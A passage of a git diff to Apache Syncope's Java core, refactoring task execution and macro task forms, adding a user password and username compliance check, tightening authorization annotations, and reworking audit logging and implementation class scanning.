-133,8 +131,8 @@ public TaskLogic( } protected void securityChecks(final String entitlement, final String realm) { - Set authRealms = AuthContextUtils.getAuthorizations().get(entitlement); - if (authRealms.stream().noneMatch(r -> realm.startsWith(r))) { + Set authRealms = AuthContextUtils.getAuthorizations().getOrDefault(entitlement, Set.of()); + if (authRealms.isEmpty() || authRealms.stream().noneMatch(realm::startsWith)) { throw new DelegatedAdministrationException(realm, MacroTask.class.getSimpleName(), null); } } @@ -159,7 +157,6 @@ public T createSchedTask(final TaskType type, final T ta jobManager.register( task, task.getStartAt(), - confParamOps.get(AuthContextUtils.getDomain(), "tasks.interruptMaxRetries", 1L, Long.class), AuthContextUtils.getUsername()); } catch (Exception e) { LOG.error("While registering quartz job for task " + task.getKey(), e); @@ -197,7 +194,6 @@ public T updateSchedTask(final TaskType type, final Sche jobManager.register( task, task.getStartAt(), - confParamOps.get(AuthContextUtils.getDomain(), "tasks.interruptMaxRetries", 1L, Long.class), AuthContextUtils.getUsername()); } catch (Exception e) { LOG.error("While registering quartz job for task " + task.getKey(), e); @@ -287,10 +283,23 @@ public T read(final TaskType type, final String key, final bo return binder.getTaskTO(task, taskUtilsFactory.getInstance(task), details); } - @PreAuthorize("hasRole('" + IdRepoEntitlement.TASK_EXECUTE + "')") - @Override - public ExecTO execute(final String key, final OffsetDateTime startAt, final boolean dryRun) { - Task task = taskDAO.find(key).orElseThrow(() -> new NotFoundException("Task " + key)); + @PreAuthorize("hasRole('" + IdRepoEntitlement.TASK_READ + "')") + @Transactional(readOnly = true) + public SyncopeForm getMacroTaskForm(final String key, final Locale locale) { + MacroTask task = taskDAO.find(key). + filter(MacroTask.class::isInstance).map(MacroTask.class::cast). + orElseThrow(() -> new NotFoundException("MacroTask " + key)); + + securityChecks(IdRepoEntitlement.TASK_READ, task.getRealm().getFullPath()); + + return binder.getMacroTaskForm(task, locale); + } + + protected ExecTO doExecute( + final Task task, + final OffsetDateTime startAt, + final Map additionalDataMap) { + if (startAt != null && startAt.isBefore(OffsetDateTime.now())) { SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Scheduling); sce.getElements().add("Cannot schedule in the past"); @@ -313,6 +322,7 @@ public ExecTO execute(final String key, final OffsetDateTime startAt, final bool propagationTask.getEntityKey(), propagationTask.getConnObjectKey(), propagationTask.getPropagationData()); + taskInfo.setKey(propagationTask.getKey()); taskInfo.setOldConnObjectKey(propagationTask.getOldConnObjectKey()); TaskExec propExec = taskExecutor.execute( @@ -330,24 +340,22 @@ public ExecTO execute(final String key, final OffsetDateTime startAt, final bool case PULL: case PUSH: case MACRO: - if (taskUtils.getType() == TaskType.MACRO) { - securityChecks(IdRepoEntitlement.TASK_EXECUTE, ((MacroTask) task).getRealm().getFullPath()); - } - if (!((SchedTask) task).isActive()) { SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Scheduling); - sce.getElements().add("Task " + key + " is not active"); + sce.getElements().add("Task " + task.getKey() + " is not active"); throw sce; } + if (taskUtils.getType() == TaskType.MACRO) { + securityChecks(IdRepoEntitlement.TASK_EXECUTE, ((MacroTask) task).getRealm().getFullPath()); + } + try { Map jobDataMap = jobManager.register( (SchedTask) task, startAt, - confParamOps.get(AuthContextUtils.getDomain(), "tasks.interruptMaxRetries", 1L, Long.class), executor); - - jobDataMap.put(TaskJob.DRY_RUN_JOBDETAIL_KEY, dryRun); + jobDataMap.putAll(additionalDataMap); if (startAt == null) { scheduler.getScheduler().triggerJob(JobNamer.getJobKey(task), new JobDataMap(jobDataMap)); @@ -376,6 +384,31 @@ public ExecTO execute(final String key, final OffsetDateTime startAt, final bool return result; } + @PreAuthorize("hasRole('" + IdRepoEntitlement.TASK_EXECUTE + "')") + @Override + public ExecTO execute(final ExecSpecs specs) { + Task task = taskDAO.find(specs.getKey()). + orElseThrow(() -> new NotFoundException("Task " + specs.getKey())); + + return doExecute( + task, + specs.getStartAt(), + Map.of(JobManager.DRY_RUN_JOBDETAIL_KEY, specs.getDryRun())); + } + + @PreAuthorize("hasRole('" + IdRepoEntitlement.TASK_EXECUTE + "')") + public ExecTO execute(final ExecSpecs specs, final SyncopeForm macroTaskForm) { + MacroTask task = taskDAO.find(specs.getKey()). + filter(MacroTask.class::isInstance).map(MacroTask.class::cast). + orElseThrow(() -> new NotFoundException("MacroTask " + specs.getKey())); + + return doExecute( + task, + specs.getStartAt(), + Map.of(JobManager.DRY_RUN_JOBDETAIL_KEY, specs.getDryRun(), + MacroJobDelegate.MACRO_TASK_FORM_JOBDETAIL_KEY, macroTaskForm)); + } + @PreAuthorize("hasRole('" + IdRepoEntitlement.TASK_DELETE + "')") public T delete(final TaskType type, final String key) { Task task = taskDAO.find(type, key); @@ -398,7 +431,8 @@ public T delete(final TaskType type, final String key) { if (TaskType.SCHEDULED == taskUtils.getType() || TaskType.PULL == taskUtils.getType() - || TaskType.PUSH == taskUtils.getType()) { + || TaskType.PUSH == taskUtils.getType() + || TaskType.MACRO == taskUtils.getType()) { jobManager.unregister(task); } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/UserLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/UserLogic.java index 023d5e21fc0..93667dfb953 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/UserLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/UserLogic.java @@ -20,12 +20,14 @@ import java.lang.reflect.Method; import java.util.Collection; +import java.util.Comparator; import java.util.List; import java.util.Objects; import java.util.Optional; import java.util.Set; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; +import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Triple; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; @@ -43,13 +45,17 @@ import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.ClientExceptionType; +import org.apache.syncope.common.lib.types.EntityViolationType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.common.lib.types.PatchOperation; +import org.apache.syncope.common.rest.api.beans.ComplianceQuery; import org.apache.syncope.core.logic.api.LogicActions; +import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.DelegationDAO; +import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.RealmDAO; @@ -57,14 +63,21 @@ import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; import org.apache.syncope.core.persistence.api.entity.AccessToken; +import org.apache.syncope.core.persistence.api.entity.Entity; +import org.apache.syncope.core.persistence.api.entity.ExternalResource; import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.group.Group; +import org.apache.syncope.core.persistence.api.entity.policy.AccountPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.UserProvisioningManager; import org.apache.syncope.core.provisioning.api.data.UserDataBinder; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.provisioning.api.utils.RealmUtils; import org.apache.syncope.core.provisioning.java.utils.TemplateUtils; +import org.apache.syncope.core.spring.policy.AccountPolicyException; +import org.apache.syncope.core.spring.policy.PasswordPolicyException; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.spring.security.Encryptor; import org.springframework.security.access.prepost.PreAuthorize; @@ -82,6 +95,8 @@ public class UserLogic extends AbstractAnyLogic { protected final AnySearchDAO searchDAO; + protected final ExternalResourceDAO resourceDAO; + protected final AccessTokenDAO accessTokenDAO; protected final DelegationDAO delegationDAO; @@ -94,6 +109,8 @@ public class UserLogic extends AbstractAnyLogic { protected final SyncopeLogic syncopeLogic; + protected final RuleEnforcer ruleEnforcer; + public UserLogic( final RealmDAO realmDAO, final AnyTypeDAO anyTypeDAO, @@ -101,24 +118,28 @@ public UserLogic( final UserDAO userDAO, final GroupDAO groupDAO, final AnySearchDAO searchDAO, + final ExternalResourceDAO resourceDAO, final AccessTokenDAO accessTokenDAO, final DelegationDAO delegationDAO, final ConfParamOps confParamOps, final UserDataBinder binder, final UserProvisioningManager provisioningManager, - final SyncopeLogic syncopeLogic) { + final SyncopeLogic syncopeLogic, + final RuleEnforcer ruleEnforcer) { super(realmDAO, anyTypeDAO, templateUtils); this.userDAO = userDAO; this.groupDAO = groupDAO; this.searchDAO = searchDAO; + this.resourceDAO = resourceDAO; this.accessTokenDAO = accessTokenDAO; this.delegationDAO = delegationDAO; this.confParamOps = confParamOps; this.binder = binder; this.provisioningManager = provisioningManager; this.syncopeLogic = syncopeLogic; + this.ruleEnforcer = ruleEnforcer; } @PreAuthorize("isAuthenticated() and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))") @@ -167,7 +188,7 @@ public Pair> search( return Pair.of(count, result); } - @PreAuthorize("isAnonymous() or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") public ProvisioningResult selfCreate(final UserCR createReq, final boolean nullPriorityAsync) { return doCreate(createReq, true, nullPriorityAsync); } @@ -337,15 +358,17 @@ public ProvisioningResult selfStatus(final StatusR statusR, final boolea } @PreAuthorize("hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "')") - public ProvisioningResult mustChangePassword(final String password, final boolean nullPriorityAsync) { + public ProvisioningResult mustChangePassword( + final PasswordPatch password, final boolean nullPriorityAsync) { + UserTO userTO = binder.getAuthenticatedUserTO(); + password.setOnSyncope(true); + password.getResources().clear(); + password.getResources().addAll(userDAO.findAllResourceKeys(userTO.getKey())); + UserUR userUR = new UserUR.Builder(userTO.getKey()). - password(new PasswordPatch.Builder(). - value(password). - onSyncope(true). - resources(userDAO.findAllResourceKeys(userTO.getKey())). - build()). + password(password). mustChangePassword(new BooleanReplacePatchItem.Builder().value(false).build()). build(); ProvisioningResult result = selfUpdate(userUR, nullPriorityAsync); @@ -356,17 +379,62 @@ public ProvisioningResult mustChangePassword(final String password, fina return result; } - @PreAuthorize("isAnonymous() or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") - @Transactional - public void requestPasswordReset(final String username, final String securityAnswer) { - if (username == null) { - throw new NotFoundException("Null username"); + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + @Transactional(readOnly = true) + public void compliance(final ComplianceQuery query) { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.RESTValidation); + + if (query.isEmpty()) { + sce.getElements().add("Nothing to check"); + throw sce; + } + + Realm realm = null; + if (StringUtils.isNotBlank(query.getRealm())) { + realm = Optional.ofNullable(realmDAO.findByFullPath(query.getRealm())). + orElseThrow(() -> new NotFoundException("Realm " + query.getRealm())); + } + Set resources = query.getResources().stream(). + map(resourceDAO::find).filter(Objects::nonNull).collect(Collectors.toSet()); + if (realm == null && resources.isEmpty()) { + sce.getElements().add("Nothing to check"); + throw sce; + } + + if (StringUtils.isNotBlank(query.getUsername())) { + List accountPolicies = ruleEnforcer.getAccountPolicies(realm, resources); + try { + if (accountPolicies.isEmpty()) { + if (!Entity.ID_PATTERN.matcher(query.getUsername()).matches()) { + throw new AccountPolicyException("Character(s) not allowed: " + query.getUsername()); + } + } else { + for (AccountPolicy policy : accountPolicies) { + ruleEnforcer.getAccountRules(policy).forEach(rule -> rule.enforce(query.getUsername())); + } + } + } catch (AccountPolicyException e) { + throw new InvalidEntityException(User.class, EntityViolationType.InvalidUsername, e.getMessage()); + } } - User user = userDAO.findByUsername(username); - if (user == null) { - throw new NotFoundException("User " + username); + if (StringUtils.isNotBlank(query.getPassword())) { + try { + for (PasswordPolicy policy : ruleEnforcer.getPasswordPolicies(realm, resources)) { + ruleEnforcer.getPasswordRules(policy). + forEach(rule -> rule.enforce(query.getUsername(), query.getPassword())); + } + } catch (PasswordPolicyException e) { + throw new InvalidEntityException(User.class, EntityViolationType.InvalidPassword, e.getMessage()); + } } + } + + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + @Transactional + public void requestPasswordReset(final String username, final String securityAnswer) { + User user = Optional.ofNullable(userDAO.findByUsername(username)). + orElseThrow(() -> new NotFoundException("User " + username)); if (syncopeLogic.isPwdResetRequiringSecurityQuestions() && (securityAnswer == null || !Encryptor.getInstance(). @@ -378,13 +446,12 @@ public void requestPasswordReset(final String username, final String securityAns provisioningManager.requestPasswordReset(user.getKey(), AuthContextUtils.getUsername(), REST_CONTEXT); } - @PreAuthorize("isAnonymous() or hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") + @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") @Transactional public void confirmPasswordReset(final String token, final String password) { - User user = userDAO.findByToken(token); - if (user == null) { - throw new NotFoundException("User with token " + token); - } + User user = Optional.ofNullable(userDAO.findByToken(token)). + orElseThrow(() -> new NotFoundException("User with token " + token)); + provisioningManager.confirmPasswordReset( user.getKey(), token, password, AuthContextUtils.getUsername(), REST_CONTEXT); } @@ -441,17 +508,17 @@ protected ProvisioningResult doDelete( } protected void updateChecks(final String key) { - User user = userDAO.authFind(key); + UserTO userTO = binder.getUserTO(key); Set authRealms = RealmUtils.getEffective( AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), - user.getRealm().getFullPath()); + userTO.getRealm()); userDAO.securityChecks( authRealms, - user.getKey(), - user.getRealm().getFullPath(), - user.getMemberships().stream(). - map(m -> m.getRightEnd().getKey()). + userTO.getKey(), + userTO.getRealm(), + userTO.getMemberships().stream(). + map(MembershipTO::getGroupKey). collect(Collectors.toSet())); } @@ -517,8 +584,7 @@ public ProvisioningResult assign( build(); if (changepwd) { - req.setPassword(new PasswordPatch.Builder(). - value(password).onSyncope(false).resources(resources).build()); + req.setPassword(new PasswordPatch.Builder().value(password).onSyncope(false).resources(resources).build()); } return update(req, nullPriorityAsync); @@ -527,7 +593,9 @@ public ProvisioningResult assign( @PreAuthorize("hasRole('" + IdRepoEntitlement.USER_UPDATE + "')") @Override public ProvisioningResult deprovision( - final String key, final Collection resources, final boolean nullPriorityAsync) { + final String key, + final List resources, + final boolean nullPriorityAsync) { updateChecks(key); @@ -537,6 +605,7 @@ public ProvisioningResult deprovision( ProvisioningResult result = new ProvisioningResult<>(); result.setEntity(binder.getUserTO(key)); result.getPropagationStatuses().addAll(statuses); + result.getPropagationStatuses().sort(Comparator.comparing(item -> resources.indexOf(item.getResource()))); return result; } @@ -544,7 +613,7 @@ public ProvisioningResult deprovision( @Override public ProvisioningResult provision( final String key, - final Collection resources, + final List resources, final boolean changePwd, final String password, final boolean nullPriorityAsync) { @@ -557,6 +626,7 @@ public ProvisioningResult provision( ProvisioningResult result = new ProvisioningResult<>(); result.setEntity(binder.getUserTO(key)); result.getPropagationStatuses().addAll(statuses); + result.getPropagationStatuses().sort(Comparator.comparing(item -> resources.indexOf(item.getResource()))); return result; } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/JdbcAuditAppender.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/JdbcAuditAppender.java index 4ecce56d9b0..164cdd3b7bd 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/JdbcAuditAppender.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/JdbcAuditAppender.java @@ -41,7 +41,7 @@ public JdbcAuditAppender(final String domain, final DataSource domainDataSource) ColumnMapping[] columnMappings = { ColumnMapping.newBuilder(). - setConfiguration(logCtx.getConfiguration()).setName("EVENT_DATE").setType(Timestamp.class).build(), + setConfiguration(logCtx.getConfiguration()).setName("EVENT_DATE").setColumnType(Timestamp.class).build(), ColumnMapping.newBuilder(). setConfiguration(logCtx.getConfiguration()).setName("LOGGER_LEVEL").setPattern("%level").build(), ColumnMapping.newBuilder(). diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditAccessor.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditAccessor.java index 3aed0ccca6b..5393915b16e 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditAccessor.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditAccessor.java @@ -18,16 +18,11 @@ */ package org.apache.syncope.core.logic.init; -import java.util.Map; -import java.util.function.Function; -import java.util.stream.Collectors; -import org.apache.logging.log4j.Level; -import org.apache.logging.log4j.core.LoggerContext; -import org.apache.logging.log4j.core.config.LoggerConfig; import org.apache.syncope.common.lib.types.AuditLoggerName; import org.apache.syncope.core.persistence.api.dao.AuditConfDAO; -import org.apache.syncope.core.persistence.api.entity.AuditConf; import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.springframework.boot.logging.LogLevel; +import org.springframework.boot.logging.LoggingSystem; import org.springframework.transaction.annotation.Transactional; /** @@ -39,22 +34,17 @@ public class AuditAccessor { protected final AuditConfDAO auditConfDAO; - public AuditAccessor(final AuditConfDAO auditConfDAO) { + protected final LoggingSystem loggingSystem; + + public AuditAccessor(final AuditConfDAO auditConfDAO, final LoggingSystem loggingSystem) { this.auditConfDAO = auditConfDAO; + this.loggingSystem = loggingSystem; } @Transactional - public void synchronizeLoggingWithAudit(final LoggerContext ctx) { - Map audits = auditConfDAO.findAll().stream(). - collect(Collectors.toMap( - audit -> AuditLoggerName.getAuditEventLoggerName(AuthContextUtils.getDomain(), audit.getKey()), - Function.identity())); - - audits.forEach((logger, audit) -> { - LoggerConfig logConf = ctx.getConfiguration().getLoggerConfig(logger); - logConf.setLevel(audit.isActive() ? Level.DEBUG : Level.OFF); - }); - - ctx.updateLoggers(); + public void synchronizeLoggingWithAudit() { + auditConfDAO.findAll().forEach(auditConf -> loggingSystem.setLogLevel( + AuditLoggerName.getAuditEventLoggerName(AuthContextUtils.getDomain(), auditConf.getKey()), + auditConf.isActive() ? LogLevel.DEBUG : LogLevel.OFF)); } } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditLoader.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditLoader.java index f906c52ed81..c43eb12ae66 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditLoader.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/AuditLoader.java @@ -18,19 +18,18 @@ */ package org.apache.syncope.core.logic.init; +import java.util.List; import java.util.Optional; import javax.sql.DataSource; import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.core.Appender; import org.apache.logging.log4j.core.LoggerContext; -import org.apache.logging.log4j.core.appender.rewrite.RewriteAppender; import org.apache.logging.log4j.core.config.LoggerConfig; import org.apache.syncope.common.lib.types.AuditLoggerName; import org.apache.syncope.core.logic.audit.AuditAppender; import org.apache.syncope.core.persistence.api.SyncopeCoreLoader; import org.apache.syncope.core.spring.security.AuthContextUtils; -import org.springframework.context.ApplicationContext; public class AuditLoader implements SyncopeCoreLoader { @@ -41,42 +40,41 @@ public static void addAppenderToLoggerContext( final AuditAppender auditAppender, final LoggerConfig eventLogConf) { - Appender targetAppender = ctx.getConfiguration().getAppender(auditAppender.getTargetAppenderName()); - if (targetAppender == null) { - targetAppender = auditAppender.getTargetAppender(); - } + Appender targetAppender = Optional.ofNullable( + ctx.getConfiguration().getAppender(auditAppender.getTargetAppenderName())).map(Appender.class::cast). + orElseGet(() -> auditAppender.getTargetAppender()); targetAppender.start(); ctx.getConfiguration().addAppender(targetAppender); - Optional rewriteAppender = auditAppender.getRewriteAppender(); - if (rewriteAppender.isPresent()) { - rewriteAppender.get().start(); - eventLogConf.addAppender(rewriteAppender.get(), Level.DEBUG, null); - } else { - eventLogConf.addAppender(targetAppender, Level.DEBUG, null); - } + auditAppender.getRewriteAppender().ifPresentOrElse( + rewriteAppender -> { + rewriteAppender.start(); + eventLogConf.addAppender(rewriteAppender, Level.DEBUG, null); + }, + () -> eventLogConf.addAppender(targetAppender, Level.DEBUG, null)); + + ctx.updateLoggers(); } protected final AuditAccessor auditAccessor; - protected final ApplicationContext ctx; + protected final List auditAppenders; - public AuditLoader(final AuditAccessor auditAccessor, final ApplicationContext ctx) { + public AuditLoader(final AuditAccessor auditAccessor, final List auditAppenders) { this.auditAccessor = auditAccessor; - this.ctx = ctx; + this.auditAppenders = auditAppenders; } @Override public int getOrder() { - return 300; + return 500; } @Override public void load(final String domain, final DataSource datasource) { LoggerContext logCtx = (LoggerContext) LogManager.getContext(false); - // SYNCOPE-1144 For each custom audit appender class add related appenders to log4j logger - ctx.getBeansOfType(AuditAppender.class).values().forEach(auditAppender -> auditAppender.getEvents().stream(). + auditAppenders.forEach(auditAppender -> auditAppender.getEvents().stream(). map(event -> AuditLoggerName.getAuditEventLoggerName(domain, event.toAuditKey())). forEach(domainAuditLoggerName -> { LoggerConfig eventLogConf = logCtx.getConfiguration().getLoggerConfig(domainAuditLoggerName); @@ -85,9 +83,9 @@ public void load(final String domain, final DataSource datasource) { if (isRootLogConf) { eventLogConf = new LoggerConfig(domainAuditLoggerName, null, false); } + eventLogConf.setLevel(Level.DEBUG); addAppenderToLoggerContext(logCtx, auditAppender, eventLogConf); - eventLogConf.setLevel(Level.DEBUG); if (isRootLogConf) { logCtx.getConfiguration().addLogger(domainAuditLoggerName, eventLogConf); @@ -95,10 +93,8 @@ public void load(final String domain, final DataSource datasource) { })); AuthContextUtils.callAsAdmin(domain, () -> { - auditAccessor.synchronizeLoggingWithAudit(logCtx); + auditAccessor.synchronizeLoggingWithAudit(); return null; }); - - logCtx.updateLoggers(); } } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/ClassPathScanImplementationLookup.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/ClassPathScanImplementationLookup.java index 8036954740a..9405d9f2ddc 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/ClassPathScanImplementationLookup.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/init/ClassPathScanImplementationLookup.java @@ -23,45 +23,48 @@ import java.util.HashMap; import java.util.HashSet; import java.util.Map; +import java.util.Map.Entry; import java.util.Objects; import java.util.Set; +import java.util.stream.Collectors; import org.apache.syncope.common.lib.policy.AccountRuleConf; import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; +import org.apache.syncope.common.lib.report.ReportConf; import org.apache.syncope.common.lib.types.IdMImplementationType; import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.common.lib.types.ImplementationTypesHolder; -import org.apache.syncope.core.logic.api.Command; import org.apache.syncope.core.logic.api.LogicActions; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValueValidator; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.AccountRuleConfClass; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRuleConfClass; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRuleConfClass; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRuleConfClass; -import org.apache.syncope.core.persistence.api.dao.Reportlet; -import org.apache.syncope.core.persistence.api.dao.ReportletConfClass; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.provisioning.api.ProvisionSorter; import org.apache.syncope.core.provisioning.api.data.ItemTransformer; import org.apache.syncope.core.provisioning.api.job.SchedTaskJobDelegate; +import org.apache.syncope.core.provisioning.api.job.report.ReportConfClass; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.macro.Command; +import org.apache.syncope.core.provisioning.api.macro.MacroActions; import org.apache.syncope.core.provisioning.api.notification.RecipientsProvider; import org.apache.syncope.core.provisioning.api.propagation.PropagationActions; import org.apache.syncope.core.provisioning.api.pushpull.PullActions; import org.apache.syncope.core.provisioning.api.pushpull.PushActions; import org.apache.syncope.core.provisioning.api.pushpull.ReconFilterBuilder; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.AccountRuleConfClass; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRuleConfClass; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRuleConfClass; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRuleConfClass; import org.apache.syncope.core.provisioning.java.data.JEXLItemTransformerImpl; import org.apache.syncope.core.provisioning.java.job.GroupMemberProvisionTaskJobDelegate; import org.apache.syncope.core.provisioning.java.pushpull.PullJobDelegate; import org.apache.syncope.core.provisioning.java.pushpull.PushJobDelegate; -import org.apache.syncope.core.spring.security.JWTSSOProvider; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.config.BeanDefinition; import org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider; import org.springframework.core.Ordered; import org.springframework.core.type.filter.AssignableTypeFilter; @@ -78,9 +81,7 @@ public class ClassPathScanImplementationLookup implements ImplementationLookup { private Map> classNames; - private Set> jwtSSOProviderClasses; - - private Map, Class> reportletClasses; + private Map, Class> reportJobDelegateClasses; private Map, Class> accountRuleClasses; @@ -119,35 +120,26 @@ public void load() { } }); - jwtSSOProviderClasses = new HashSet<>(); - reportletClasses = new HashMap<>(); + Map extImplTypes = ImplementationTypesHolder.getInstance().getValues().entrySet().stream(). + filter(e -> !IdRepoImplementationType.values().containsKey(e.getKey()) + && !IdMImplementationType.values().containsKey(e.getKey())). + collect(Collectors.toMap(Entry::getKey, Entry::getValue)); + + reportJobDelegateClasses = new HashMap<>(); accountRuleClasses = new HashMap<>(); passwordRuleClasses = new HashMap<>(); pullCRClasses = new HashMap<>(); pushCRClasses = new HashMap<>(); - scanner.findCandidateComponents(getBasePackage()).forEach(bd -> { + for (BeanDefinition bd : scanner.findCandidateComponents(getBasePackage())) { try { Class clazz = ClassUtils.resolveClassName( Objects.requireNonNull(bd.getBeanClassName()), ClassUtils.getDefaultClassLoader()); - boolean isAbstractClazz = Modifier.isAbstract(clazz.getModifiers()); - - if (JWTSSOProvider.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdRepoImplementationType.JWT_SSO_PROVIDER).add(clazz.getName()); - jwtSSOProviderClasses.add(clazz); + if (Modifier.isAbstract(clazz.getModifiers())) { + continue; } - if (Reportlet.class.isAssignableFrom(clazz) && !isAbstractClazz) { - ReportletConfClass annotation = clazz.getAnnotation(ReportletConfClass.class); - if (annotation == null) { - LOG.warn("Found Reportlet {} without declared configuration", clazz.getName()); - } else { - classNames.get(IdRepoImplementationType.REPORTLET).add(clazz.getName()); - reportletClasses.put(annotation.value(), (Class) clazz); - } - } - - if (AccountRule.class.isAssignableFrom(clazz) && !isAbstractClazz) { + if (AccountRule.class.isAssignableFrom(clazz)) { AccountRuleConfClass annotation = clazz.getAnnotation(AccountRuleConfClass.class); if (annotation == null) { LOG.warn("Found account policy rule {} without declared configuration", clazz.getName()); @@ -155,9 +147,7 @@ public void load() { classNames.get(IdRepoImplementationType.ACCOUNT_RULE).add(clazz.getName()); accountRuleClasses.put(annotation.value(), (Class) clazz); } - } - - if (PasswordRule.class.isAssignableFrom(clazz) && !isAbstractClazz) { + } else if (PasswordRule.class.isAssignableFrom(clazz)) { PasswordRuleConfClass annotation = clazz.getAnnotation(PasswordRuleConfClass.class); if (annotation == null) { LOG.warn("Found password policy rule {} without declared configuration", clazz.getName()); @@ -165,9 +155,43 @@ public void load() { classNames.get(IdRepoImplementationType.PASSWORD_RULE).add(clazz.getName()); passwordRuleClasses.put(annotation.value(), (Class) clazz); } - } + } else if (SchedTaskJobDelegate.class.isAssignableFrom(clazz) + && !PullJobDelegate.class.isAssignableFrom(clazz) + && !PushJobDelegate.class.isAssignableFrom(clazz) + && !GroupMemberProvisionTaskJobDelegate.class.isAssignableFrom(clazz)) { + + classNames.get(IdRepoImplementationType.TASKJOB_DELEGATE).add(bd.getBeanClassName()); + } else if (ReportJobDelegate.class.isAssignableFrom(clazz)) { + ReportConfClass annotation = clazz.getAnnotation(ReportConfClass.class); + if (annotation == null) { + LOG.warn("Found Report {} without declared configuration", clazz.getName()); + } else { + classNames.get(IdRepoImplementationType.REPORT_DELEGATE).add(clazz.getName()); + reportJobDelegateClasses.put(annotation.value(), (Class) clazz); + } + } else if (LogicActions.class.isAssignableFrom(clazz)) { + classNames.get(IdRepoImplementationType.LOGIC_ACTIONS).add(bd.getBeanClassName()); + } else if (MacroActions.class.isAssignableFrom(clazz)) { + 